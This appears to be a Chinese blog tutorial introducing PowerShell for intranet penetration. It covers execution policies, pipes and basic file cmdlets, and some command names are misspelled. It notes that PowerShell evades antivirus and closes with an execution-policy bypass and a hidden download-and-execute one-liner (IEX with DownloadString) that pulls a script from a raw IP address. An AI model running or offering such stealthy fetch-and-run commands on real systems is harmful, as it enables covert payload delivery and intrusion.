内网渗透--powershell简介

windows powershell基础

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell具有以下特点

  • 在window7以上版本的操作系统中是默认安装的
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 目前很多工具都是基于powershell开发的
  • 使windows脚本的执行变得更容易
  • cmd.exe的运行通常会被阻止,但是powershell的运行通常不会被阻止
  • 可用于管理活动目录

可以输入“Get-Host”或者“$PSVersionTable.PSVERSION”命令查看powershell的版本,
在这里插入图片描述

PowerShell的基本概念

1. .ps1文件
一个powershell脚本其实就是一个简单的文本文件,其扩展名为“.ps1”。powershell脚本文件包含一系列powershell命令,每个命令显示为独立的一行。

2. 执行策略
为了防止使用者运行恶意脚本。powershell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
如果powershell脚本无法运,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy.
  • Restricted:脚本不能运行(默认设置)
  • ReomteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
  • AllSigned:允许脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的脚本允许 可以使用下面的cmdlet命令设置powershell的执行策略。 Set-ExecutionPolicy

3.运行脚本
想要运行一个powershell脚本,必须输入完整的路径和文件名。运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”.
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用"|"连接。如:
让所有正在运行的,名字以字符“p”开头的程序停止运行

PS> get-process p* | stop-process

**## powershell的常用命令

  • 基本知识**
    powershell命令不区分大小写
    在powershell下,类似cmd命令的命令叫作cmtlet命令。二者的命名规范一致,采用“动词-名词”的形式。动词部分一般为:Add,New,Get,Remove,Set等。
    文件操作命令:
  • 新建目录:New-ltem whitecellclub-ltem Type Directory
  • 新建文件:New-ltem light.txt-ltemType File
  • 删除目录:Remove-ltem whitecellclub
  • 显示文本内容:Get-Content test.txt
  • 设置文本内容:Set-Content test.txt-Value “hello world”
  • 追加内容:Add-Content light.txt-Value “wodema”
  • 清除内容:Clear-Content text.txt
  • 常用命令
    要想运行powershell脚本程序,必须使用管理员权限将策略策略从Restricted改成Unrestricted

(1)绕过本地权限并执行
在这里插入图片描述
直接执行脚本,会提示系统中禁止执行脚本。
输入

powershell.exe -ExecutionPolicy Bypass -File .\test.ps1

可以绕过这个限制。
(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行

powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass
IEX(New-Object
Net.WebClient).DownloadString(‘http://123.56.82.231:8000/eryao7.ps1’);

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值